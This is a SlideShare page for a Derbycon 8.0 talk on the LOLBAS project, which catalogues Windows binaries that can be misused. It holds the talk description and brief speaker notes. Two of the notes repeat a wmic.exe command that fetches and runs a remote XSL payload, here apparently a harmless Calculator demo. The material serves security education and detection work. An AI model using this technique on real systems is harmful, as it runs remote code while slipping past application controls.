Successfully reported this slideshow.
Your SlideShare is downloading. ×

#Lolbins - Nothing to LOL about!

Ad
Ad
Ad
Ad
Ad
Ad
Ad
Ad
Ad
Ad

Check these out next

1 of 58 Ad

#Lolbins - Nothing to LOL about!

Download to read offline

Slides from session at Derbycon 8.0. Description: You have probably heard the term LOLBin, LOLScript or LOLLib by now. Want to get more insights on that? Then this is the talk you want to attend.This talk will cover the Living Off The Land Binaries and Scripts (LOLBAS) project, what the project is, how it became and how you can help this evolve into the future. The talk will also go over some of my favorite LOLBins that has came to light due to this project (at least that's what I like to think) and show you some cool stuff! I mean, everybody loves to see binaries misbehave.

Slides from session at Derbycon 8.0. Description: You have probably heard the term LOLBin, LOLScript or LOLLib by now. Want to get more insights on that? Then this is the talk you want to attend.This talk will cover the Living Off The Land Binaries and Scripts (LOLBAS) project, what the project is, how it became and how you can help this evolve into the future. The talk will also go over some of my favorite LOLBins that has came to light due to this project (at least that's what I like to think) and show you some cool stuff! I mean, everybody loves to see binaries misbehave.

Advertisement
Advertisement

More Related Content

Recently uploaded (20)

Advertisement

#Lolbins - Nothing to LOL about!

  1. 1. * Walter Legowski @sadprocessor

Editor's Notes

  • Many different names
  • AppLocker bypass list
    Various gists
    Onenotes
    Bookmarked tweets
    Some blogposts
  • Detection details needs some more work
  • Gtfo bins was on my list
  • wmic.exe process get brief /format:"https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/Wmic_calc.xsl"
  • wmic.exe process get brief /format:"https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/Wmic_calc.xsl"

×